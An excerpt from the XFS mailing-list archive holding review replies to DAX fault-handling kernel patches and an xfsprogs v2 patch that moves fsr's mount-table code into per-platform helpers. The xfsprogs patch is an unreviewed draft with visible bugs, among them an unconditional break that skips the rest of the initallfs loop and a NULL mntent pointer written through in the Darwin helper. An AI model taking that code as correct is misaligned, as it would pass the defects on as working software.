tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 76CCB7F3F for ; Thu, 29 Oct 2015 09:30:04 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D5D2FAC001 for ; Thu, 29 Oct 2015 07:30:03 -0700 (PDT) X-ASG-Debug-ID: 1446128999-04cb6c7b84108610001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ArJaCifmHMrsMtW0 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 29 Oct 2015 07:29:59 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 164B919F3A5; Thu, 29 Oct 2015 14:29:59 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9TETwwf027784; Thu, 29 Oct 2015 10:29:58 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id A96361201AB; Thu, 29 Oct 2015 10:29:57 -0400 (EDT) Date: Thu, 29 Oct 2015 10:29:57 -0400 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com, ross.zwisler@linux.intel.com, jack@suse.cz Subject: Re: [PATCH 4/6] xfs: DAX does not use IO completion callbacks Message-ID: <20151029142957.GF11663@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 4/6] xfs: DAX does not use IO completion callbacks References: <1445225238-30413-1-git-send-email-david@fromorbit.com> <1445225238-30413-5-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1445225238-30413-5-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1446128999 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, Oct 19, 2015 at 02:27:16PM +1100, Dave Chinner wrote: > From: Dave Chinner > > For DAX, we are now doing block zeroing and > we are updating the file size during allocation. This means we no > longer need an IO completion callback to do these things, so remove > the completion callbacks from the __dax_fault and __dax_mkwrite > calls. > Where do we "update the file size during allocation?" Brian > Signed-off-by: Dave Chinner > --- > fs/xfs/xfs_aops.c | 39 --------------------------------------- > fs/xfs/xfs_aops.h | 1 - > fs/xfs/xfs_file.c | 5 ++--- > 3 files changed, 2 insertions(+), 43 deletions(-) > > diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c > index 7b4f849..29e7e5d 100644 > --- a/fs/xfs/xfs_aops.c > +++ b/fs/xfs/xfs_aops.c > @@ -1666,45 +1666,6 @@ xfs_end_io_direct_write( > __xfs_end_io_direct_write(inode, ioend, offset, size); > } > > -/* > - * For DAX we need a mapping buffer callback for unwritten extent conversion > - * when page faults allocate blocks and then zero them. Note that in this > - * case the mapping indicated by the ioend may extend beyond EOF. We most > - * definitely do not want to extend EOF here, so we trim back the ioend size to > - * EOF. > - */ > -#ifdef CONFIG_FS_DAX > -void > -xfs_end_io_dax_write( > - struct buffer_head *bh, > - int uptodate) > -{ > - struct xfs_ioend *ioend = bh->b_private; > - struct inode *inode = ioend->io_inode; > - ssize_t size = ioend->io_size; > - > - ASSERT(IS_DAX(ioend->io_inode)); > - > - /* if there was an error zeroing, then don't convert it */ > - if (!uptodate) > - ioend->io_error = -EIO; > - > - /* > - * Trim update to EOF, so we don't extend EOF during unwritten extent > - * conversion of partial EOF blocks. > - */ > - spin_lock(&XFS_I(inode)->i_flags_lock); > - if (ioend->io_offset + size > i_size_read(inode)) > - size = i_size_read(inode) - ioend->io_offset; > - spin_unlock(&XFS_I(inode)->i_flags_lock); > - > - __xfs_end_io_direct_write(inode, ioend, ioend->io_offset, size); > - > -} > -#else > -void xfs_end_io_dax_write(struct buffer_head *bh, int uptodate) { } > -#endif > - > static inline ssize_t > xfs_vm_do_dio( > struct inode *inode, > diff --git a/fs/xfs/xfs_aops.h b/fs/xfs/xfs_aops.h > index d39ba25..f6ffc9a 100644 > --- a/fs/xfs/xfs_aops.h > +++ b/fs/xfs/xfs_aops.h > @@ -60,7 +60,6 @@ int xfs_get_blocks_direct(struct inode *inode, sector_t offset, > struct buffer_head *map_bh, int create); > int xfs_get_blocks_dax_fault(struct inode *inode, sector_t offset, > struct buffer_head *map_bh, int create); > -void xfs_end_io_dax_write(struct buffer_head *bh, int uptodate); > > extern void xfs_count_page_state(struct page *, int *, int *); > > diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c > index 7f873bc..403151a 100644 > --- a/fs/xfs/xfs_file.c > +++ b/fs/xfs/xfs_file.c > @@ -1508,8 +1508,7 @@ xfs_filemap_page_mkwrite( > xfs_ilock(XFS_I(inode), XFS_MMAPLOCK_SHARED); > > if (IS_DAX(inode)) { > - ret = __dax_mkwrite(vma, vmf, xfs_get_blocks_dax_fault, > - xfs_end_io_dax_write); > + ret = __dax_mkwrite(vma, vmf, xfs_get_blocks_dax_fault, NULL); > } else { > ret = __block_page_mkwrite(vma, vmf, xfs_get_blocks); > ret = block_page_mkwrite_return(ret); > @@ -1571,7 +1570,7 @@ xfs_filemap_pmd_fault( > file_update_time(vma->vm_file); > xfs_ilock(XFS_I(inode), XFS_MMAPLOCK_SHARED); > ret = __dax_pmd_fault(vma, addr, pmd, flags, xfs_get_blocks_dax_fault, > - xfs_end_io_dax_write); > + NULL); > xfs_iunlock(XFS_I(inode), XFS_MMAPLOCK_SHARED); > sb_end_pagefault(inode->i_sb); > > -- > 2.5.0 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Thu Oct 29 09:30:06 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2B8917F56 for ; Thu, 29 Oct 2015 09:30:06 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id E9B528F8035 for ; Thu, 29 Oct 2015 07:30:05 -0700 (PDT) X-ASG-Debug-ID: 1446129004-04bdf0330a118ba0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 0cMzFWAhxi2m4ssb (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 29 Oct 2015 07:30:04 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 49E598E767; Thu, 29 Oct 2015 14:30:04 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9TEU3Ne023014; Thu, 29 Oct 2015 10:30:03 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 8F5F21201AB; Thu, 29 Oct 2015 10:30:02 -0400 (EDT) Date: Thu, 29 Oct 2015 10:30:02 -0400 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com, ross.zwisler@linux.intel.com, jack@suse.cz Subject: Re: [PATCH 5/6] xfs: add ->pfn_mkwrite support for DAX Message-ID: <20151029143002.GG11663@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 5/6] xfs: add ->pfn_mkwrite support for DAX References: <1445225238-30413-1-git-send-email-david@fromorbit.com> <1445225238-30413-6-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1445225238-30413-6-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1446129004 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, Oct 19, 2015 at 02:27:17PM +1100, Dave Chinner wrote: > From: Dave Chinner > > ->pfn_mkwrite support is needed so that when a page with allocated > backing store takes a write fault we can check that the fault has > not raced with a truncate and is pointing to a region beyond the > current end of file. > > This also allows us to update the timestamp on the inode, too, which > fixes a generic/080 failure. > > Signed-off-by: Dave Chinner > --- Reviewed-by: Brian Foster > fs/xfs/xfs_file.c | 35 +++++++++++++++++++++++++++++++++++ > fs/xfs/xfs_trace.h | 1 + > 2 files changed, 36 insertions(+) > > diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c > index 403151a..e7cf9ec 100644 > --- a/fs/xfs/xfs_file.c > +++ b/fs/xfs/xfs_file.c > @@ -1577,11 +1577,46 @@ xfs_filemap_pmd_fault( > return ret; > } > > +/* > + * pfn_mkwrite was originally inteneded to ensure we capture time stamp > + * updates on write faults. In reality, it's need to serialise against > + * truncate similar to page_mkwrite. Hence we open-code dax_pfn_mkwrite() > + * here and cycle the XFS_MMAPLOCK_SHARED to ensure we serialise the fault > + * barrier in place. > + */ > +static int > +xfs_filemap_pfn_mkwrite( > + struct vm_area_struct *vma, > + struct vm_fault *vmf) > +{ > + > + struct inode *inode = file_inode(vma->vm_file); > + struct xfs_inode *ip = XFS_I(inode); > + int ret = VM_FAULT_NOPAGE; > + loff_t size; > + > + trace_xfs_filemap_pfn_mkwrite(ip); > + > + sb_start_pagefault(inode->i_sb); > + file_update_time(vma->vm_file); > + > + /* check if the faulting page hasn't raced with truncate */ > + xfs_ilock(ip, XFS_MMAPLOCK_SHARED); > + size = (i_size_read(inode) + PAGE_SIZE - 1) >> PAGE_SHIFT; > + if (vmf->pgoff >= size) > + ret = VM_FAULT_SIGBUS; > + xfs_iunlock(ip, XFS_MMAPLOCK_SHARED); > + sb_end_pagefault(inode->i_sb); > + return ret; > + > +} > + > static const struct vm_operations_struct xfs_file_vm_ops = { > .fault = xfs_filemap_fault, > .pmd_fault = xfs_filemap_pmd_fault, > .map_pages = filemap_map_pages, > .page_mkwrite = xfs_filemap_page_mkwrite, > + .pfn_mkwrite = xfs_filemap_pfn_mkwrite, > }; > > STATIC int > diff --git a/fs/xfs/xfs_trace.h b/fs/xfs/xfs_trace.h > index 957f5cc..877079eb 100644 > --- a/fs/xfs/xfs_trace.h > +++ b/fs/xfs/xfs_trace.h > @@ -689,6 +689,7 @@ DEFINE_INODE_EVENT(xfs_inode_free_eofblocks_invalid); > DEFINE_INODE_EVENT(xfs_filemap_fault); > DEFINE_INODE_EVENT(xfs_filemap_pmd_fault); > DEFINE_INODE_EVENT(xfs_filemap_page_mkwrite); > +DEFINE_INODE_EVENT(xfs_filemap_pfn_mkwrite); > > DECLARE_EVENT_CLASS(xfs_iref_class, > TP_PROTO(struct xfs_inode *ip, unsigned long caller_ip), > -- > 2.5.0 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Thu Oct 29 09:30:09 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 05D467F61 for ; Thu, 29 Oct 2015 09:30:09 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8E2E3AC002 for ; Thu, 29 Oct 2015 07:30:08 -0700 (PDT) X-ASG-Debug-ID: 1446129007-04bdf0330c118bb0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Nep9VsW4rjmjbGNb (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 29 Oct 2015 07:30:07 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id 957ADC0A524C; Thu, 29 Oct 2015 14:30:07 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-105.bos.redhat.com [10.18.41.105]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9TEU7ap002818; Thu, 29 Oct 2015 10:30:07 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 1DB3C1201AB; Thu, 29 Oct 2015 10:30:06 -0400 (EDT) Date: Thu, 29 Oct 2015 10:30:06 -0400 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com, ross.zwisler@linux.intel.com, jack@suse.cz Subject: Re: [PATCH 6/6] xfs: xfs_filemap_pmd_fault treats read faults as write faults Message-ID: <20151029143005.GH11663@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 6/6] xfs: xfs_filemap_pmd_fault treats read faults as write faults References: <1445225238-30413-1-git-send-email-david@fromorbit.com> <1445225238-30413-7-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1445225238-30413-7-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1446129007 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, Oct 19, 2015 at 02:27:18PM +1100, Dave Chinner wrote: > From: Dave Chinner > > The code initially committed didn't have the same checks for write > faults as the dax_pmd_fault code and hence treats all faults as > write faults. We can get read faults through this path because they > is no pmd_mkwrite path for write faults similar to the normal page > fault path. Hence we need to ensure that we only do c/mtime updates > on write faults, and freeze protection is unnecessary for read > faults. > > Signed-off-by: Dave Chinner > --- Reviewed-by: Brian Foster > fs/xfs/xfs_file.c | 20 ++++++++++++++++---- > 1 file changed, 16 insertions(+), 4 deletions(-) > > diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c > index e7cf9ec..0045b0a 100644 > --- a/fs/xfs/xfs_file.c > +++ b/fs/xfs/xfs_file.c > @@ -1482,7 +1482,7 @@ xfs_file_llseek( > * > * mmap_sem (MM) > * sb_start_pagefault(vfs, freeze) > - * i_mmap_lock (XFS - truncate serialisation) > + * i_mmaplock (XFS - truncate serialisation) > * page_lock (MM) > * i_lock (XFS - extent map serialisation) > */ > @@ -1550,6 +1550,13 @@ xfs_filemap_fault( > return ret; > } > > +/* > + * Similar to xfs_filemap_fault(), the DAX fault path can call into here on > + * both read and write faults. Hence we need to handle both cases. There is no > + * ->pmd_mkwrite callout for huge pages, so we have a single function here to > + * handle both cases here. @flags carries the information on the type of fault > + * occuring. > + */ > STATIC int > xfs_filemap_pmd_fault( > struct vm_area_struct *vma, > @@ -1566,13 +1573,18 @@ xfs_filemap_pmd_fault( > > trace_xfs_filemap_pmd_fault(ip); > > - sb_start_pagefault(inode->i_sb); > - file_update_time(vma->vm_file); > + if (flags & FAULT_FLAG_WRITE) { > + sb_start_pagefault(inode->i_sb); > + file_update_time(vma->vm_file); > + } > + > xfs_ilock(XFS_I(inode), XFS_MMAPLOCK_SHARED); > ret = __dax_pmd_fault(vma, addr, pmd, flags, xfs_get_blocks_dax_fault, > NULL); > xfs_iunlock(XFS_I(inode), XFS_MMAPLOCK_SHARED); > - sb_end_pagefault(inode->i_sb); > + > + if (flags & FAULT_FLAG_WRITE) > + sb_end_pagefault(inode->i_sb); > > return ret; > } > -- > 2.5.0 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From jtulak@redhat.com Thu Oct 29 10:26:12 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D07747CBF for ; Thu, 29 Oct 2015 10:26:12 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id BE87A304032 for ; Thu, 29 Oct 2015 08:26:09 -0700 (PDT) X-ASG-Debug-ID: 1446132367-04cb6c7b8510a2d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id s0Ge5VewPUrfu6HV (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 29 Oct 2015 08:26:07 -0700 (PDT) X-Barracuda-Envelope-From: jtulak@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (Postfix) with ESMTPS id B2836AB843; Thu, 29 Oct 2015 15:26:06 +0000 (UTC) Received: from localhost.localdomain (vpn1-5-145.ams2.redhat.com [10.36.5.145]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9TFQ4Z4022389; Thu, 29 Oct 2015 11:26:05 -0400 From: Jan Tulak To: xfs@oss.sgi.com Cc: david@fromorbit.com, Jan Tulak Subject: [PATCH v2] xfsprogs: make fsr use mntinfo when there is no mntent Date: Thu, 29 Oct 2015 16:26:03 +0100 X-ASG-Orig-Subj: [PATCH v2] xfsprogs: make fsr use mntinfo when there is no mntent Message-Id: <1446132363-4287-1-git-send-email-jtulak@redhat.com> In-Reply-To: <1445338883-7000-1-git-send-email-jtulak@redhat.com> References: <1445338883-7000-1-git-send-email-jtulak@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1446132367 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 UPDATE: - fixed warning about incompatible arguments: small change in platform_mntent_next function and calls (and to fix "possibly undeclared variable" false warning which appeared after fixing the first warning). - refactor ifdefs to platform_ functions - refactor also the other ifdef which I forgot to change before For what fsr needs, mntinfo can be used instead of mntent on some platforms. Exctract the platform-specific code to platform headers. Signed-off-by: Jan Tulak --- fsr/Makefile | 8 ++++ fsr/xfs_fsr.c | 113 +++++++++++++++++++++++++++----------------------- include/darwin.h | 62 +++++++++++++++++++++++++++ include/freebsd.h | 29 +++++++++++++ include/gnukfreebsd.h | 28 +++++++++++++ include/irix.h | 29 +++++++++++++ include/linux.h | 28 +++++++++++++ 7 files changed, 246 insertions(+), 51 deletions(-) diff --git a/fsr/Makefile b/fsr/Makefile index a9d1bf6..d3521b2 100644 --- a/fsr/Makefile +++ b/fsr/Makefile @@ -9,6 +9,14 @@ LTCOMMAND = xfs_fsr CFILES = xfs_fsr.c LLDLIBS = $(LIBHANDLE) +ifeq ($(HAVE_GETMNTENT),yes) +LCFLAGS += -DHAVE_GETMNTENT +endif + +ifeq ($(HAVE_GETMNTINFO),yes) +LCFLAGS += -DHAVE_GETMNTINFO +endif + default: depend $(LTCOMMAND) include $(BUILDRULES) diff --git a/fsr/xfs_fsr.c b/fsr/xfs_fsr.c index c8ef18f..b902acc 100644 --- a/fsr/xfs_fsr.c +++ b/fsr/xfs_fsr.c @@ -32,10 +32,6 @@ #include #include -#ifdef HAVE_MNTENT -# include -#endif - #ifndef XFS_XFLAG_NODEFRAG #define XFS_XFLAG_NODEFRAG 0x00002000 /* src dependancy, remove later */ #endif @@ -180,54 +176,61 @@ aborter(int unused) * here - the code that handles defragmentation of invidual files takes care * of that. */ + +static char * +find_mountpoint_check(struct stat64 *sb, struct mntent *t, struct stat64 *ms) +{ + if (S_ISDIR(sb->st_mode)) { /* mount point */ + if (stat64(t->mnt_dir, ms) < 0) + return NULL; + if (sb->st_ino != ms->st_ino) + return NULL; + if (sb->st_dev != ms->st_dev) + return NULL; + if (strcmp(t->mnt_type, MNTTYPE_XFS) != 0) + return NULL; + } else { /* device */ + struct stat64 sb2; + + if (stat64(t->mnt_fsname, ms) < 0) + return NULL; + if (sb->st_rdev != ms->st_rdev) + return NULL; + if (strcmp(t->mnt_type, MNTTYPE_XFS) != 0) + return NULL; + + /* + * Make sure the mountpoint given by mtab is accessible + * before using it. + */ + if (stat64(t->mnt_dir, &sb2) < 0) + return NULL; + } + + return t->mnt_dir; + +} + static char * find_mountpoint(char *mtab, char *argname, struct stat64 *sb) { - struct mntent *t; + struct mntent_cursor cursor; struct stat64 ms; - FILE *mtabp; + struct mntent *t = NULL; char *mntp = NULL; - mtabp = setmntent(mtab, "r"); - if (!mtabp) { - fprintf(stderr, _("%s: cannot read %s\n"), - progname, mtab); + if (platform_mntent_open(&cursor, mtab) != 0){ + fprintf(stderr, "Error: can't get mntent entries.\n"); exit(1); } - while ((t = getmntent(mtabp))) { - if (S_ISDIR(sb->st_mode)) { /* mount point */ - if (stat64(t->mnt_dir, &ms) < 0) - continue; - if (sb->st_ino != ms.st_ino) - continue; - if (sb->st_dev != ms.st_dev) - continue; - if (strcmp(t->mnt_type, MNTTYPE_XFS) != 0) - continue; - } else { /* device */ - struct stat64 sb2; - - if (stat64(t->mnt_fsname, &ms) < 0) - continue; - if (sb->st_rdev != ms.st_rdev) - continue; - if (strcmp(t->mnt_type, MNTTYPE_XFS) != 0) - continue; - - /* - * Make sure the mountpoint given by mtab is accessible - * before using it. - */ - if (stat64(t->mnt_dir, &sb2) < 0) - continue; - } - - mntp = t->mnt_dir; + while ( (t = platform_mntent_next(&cursor)) != NULL) { + mntp = find_mountpoint_check(sb, t, &ms); + if (mntp == NULL) + continue; break; } - - endmntent(mtabp); + platform_mntent_close(&cursor); return mntp; } @@ -405,17 +408,13 @@ usage(int ret) static void initallfs(char *mtab) { - FILE *fp; - struct mntent *mp; + struct mntent_cursor cursor; + char *mntp = NULL; + struct mntent *mp = NULL; int mi; char *cp; struct stat64 sb; - - fp = setmntent(mtab, "r"); - if (fp == NULL) { - fsrprintf(_("could not open mtab file: %s\n"), mtab); - exit(1); - } + struct stat64 ms; /* malloc a number of descriptors, increased later if needed */ if (!(fsbase = (fsdesc_t *)malloc(fsbufsize * sizeof(fsdesc_t)))) { @@ -427,7 +426,18 @@ initallfs(char *mtab) /* find all rw xfs file systems */ mi = 0; fs = fsbase; - while ((mp = getmntent(fp))) { + + if (platform_mntent_open(&cursor, mtab) != 0){ + fprintf(stderr, "Error: can't get mntent entries.\n"); + exit(1); + } + + while ( (mp = platform_mntent_next(&cursor)) != NULL) { + mntp = find_mountpoint_check(&sb, mp, &ms); + if (mntp == NULL) + continue; + break; + int rw = 0; if (strcmp(mp->mnt_type, MNTTYPE_XFS ) != 0 || @@ -477,9 +487,10 @@ initallfs(char *mtab) mi++; fs++; } + platform_mntent_close(&cursor); + numfs = mi; fsend = (fsbase + numfs); - endmntent(fp); if (numfs == 0) { fsrprintf(_("no rw xfs file systems in mtab: %s\n"), mtab); exit(0); diff --git a/include/darwin.h b/include/darwin.h index 6c6e547..dd6132f 100644 --- a/include/darwin.h +++ b/include/darwin.h @@ -219,8 +219,70 @@ static inline int timer_gettime (timer_t timerid, struct itimerspec *value) /* FSR */ +# include +# include +#include +#include #define statvfs64 statfs #define lstat64 lstat #define _PATH_MOUNTED "/etc/mtab" +struct mntent +{ + char *mnt_fsname; + char *mnt_dir; + char *mnt_type; + char *mnt_opts; + int mnt_freq; + int mnt_passno; +}; + +static inline void mntinfo2mntent (struct statfs * stats, struct mntent * mnt) { + mnt->mnt_fsname = stats->f_mntfromname; + mnt->mnt_dir = stats->f_mntonname; + mnt->mnt_type = stats->f_fstypename; +} + + + +/** + * Abstraction of mountpoints. + */ +struct mntent_cursor { + FILE *mtabp; + struct statfs *stats; + int count; + int i; +}; + +/** + * OS X uses getmntinfo, which doesn't use a mtab file. So we just ignore it. + */ +static inline int platform_mntent_open(struct mntent_cursor * cursor, char *mtab) +{ + if ((cursor->count = getmntinfo(&cursor->stats, 0)) < 0) { + fprintf(stderr, "Error: getmntinfo() failed: %s\n", strerror(errno)); + return 1; + } + cursor->i = 0; + return 0; +} + +static inline struct mntent * platform_mntent_next(struct mntent_cursor * cursor) +{ + struct mntent * t = NULL; + if (cursor->i >= cursor->count){ + return NULL; + } + mntinfo2mntent(&cursor->stats[cursor->i], t); + cursor->i++; + return t; +} + +static inline void platform_mntent_close(struct mntent_cursor * cursor) +{ + cursor->count = 0; + cursor->i = 0; +} + #endif /* __XFS_DARWIN_H__ */ diff --git a/include/freebsd.h b/include/freebsd.h index 902b940..65bd60a 100644 --- a/include/freebsd.h +++ b/include/freebsd.h @@ -26,6 +26,7 @@ #include #include #include +#include #include #define __BYTE_ORDER BYTE_ORDER @@ -147,4 +148,32 @@ platform_discard_blocks(int fd, uint64_t start, uint64_t len) return 0; } +/** + * Abstraction of mountpoints. + */ +struct mntent_cursor { + FILE *mtabp; +}; + +static inline int platform_mntent_open(struct mntent_cursor * cursor, char *mtab) +{ + cursor->mtabp = setmntent(mtab, "r"); + if (!cursor->mtabp) { + fprintf(stderr, "Error: cannot read %s\n", mtab); + return 1; + } + return 0; +} + +static inline struct mntent * platform_mntent_next(struct mntent_cursor * cursor) +{ + return getmntent(cursor->mtabp); +} + +static inline void platform_mntent_close(struct mntent_cursor * cursor) +{ + endmntent(cursor->mtabp); +} + + #endif /* __XFS_FREEBSD_H__ */ diff --git a/include/gnukfreebsd.h b/include/gnukfreebsd.h index 95c4c13..64167b2 100644 --- a/include/gnukfreebsd.h +++ b/include/gnukfreebsd.h @@ -31,6 +31,7 @@ #include #include #include +#include #define constpp char * const * @@ -126,4 +127,31 @@ platform_discard_blocks(int fd, uint64_t start, uint64_t len) return 0; } +/** + * Abstraction of mountpoints. + */ +struct mntent_cursor { + FILE *mtabp; +}; + +static inline int platform_mntent_open(struct mntent_cursor * cursor, char *mtab) +{ + cursor->mtabp = setmntent(mtab, "r"); + if (!cursor->mtabp) { + fprintf(stderr, "Error: cannot read %s\n", mtab); + return 1; + } + return 0; +} + +static inline struct mntent * platform_mntent_next(struct mntent_cursor * cursor) +{ + return getmntent(cursor->mtabp); +} + +static inline void platform_mntent_close(struct mntent_cursor * cursor) +{ + endmntent(cursor->mtabp); +} + #endif /* __XFS_KFREEBSD_H__ */ diff --git a/include/irix.h b/include/irix.h index 28564c8..293f869 100644 --- a/include/irix.h +++ b/include/irix.h @@ -37,6 +37,7 @@ #include #include #include +#include #define __int8_t char #define __int16_t short @@ -423,4 +424,32 @@ static __inline__ char * strsep(char **s, const char *ct) #define XFS_XFLAG_NODEFRAG 0x00002000 +/** + * Abstraction of mountpoints. + */ +struct mntent_cursor { + FILE *mtabp; +}; + +static inline int platform_mntent_open(struct mntent_cursor * cursor, char *mtab) +{ + cursor->mtabp = setmntent(mtab, "r"); + if (!cursor->mtabp) { + fprintf(stderr, "Error: cannot read %s\n", mtab); + return 1; + } + return 0; +} + +static inline struct mntent * platform_mntent_next(struct mntent_cursor * cursor) +{ + return getmntent(cursor->mtabp); +} + +static inline void platform_mntent_close(struct mntent_cursor * cursor) +{ + endmntent(cursor->mtabp); +} + + #endif /* __XFS_IRIX_H__ */ diff --git a/include/linux.h b/include/linux.h index 8804c2d..674717c 100644 --- a/include/linux.h +++ b/include/linux.h @@ -30,6 +30,7 @@ #include #include #include +#include static __inline__ int xfsctl(const char *path, int fd, int cmd, void *p) { @@ -145,4 +146,31 @@ typedef __uint64_t xfs_ino_t; typedef __uint32_t xfs_dev_t; 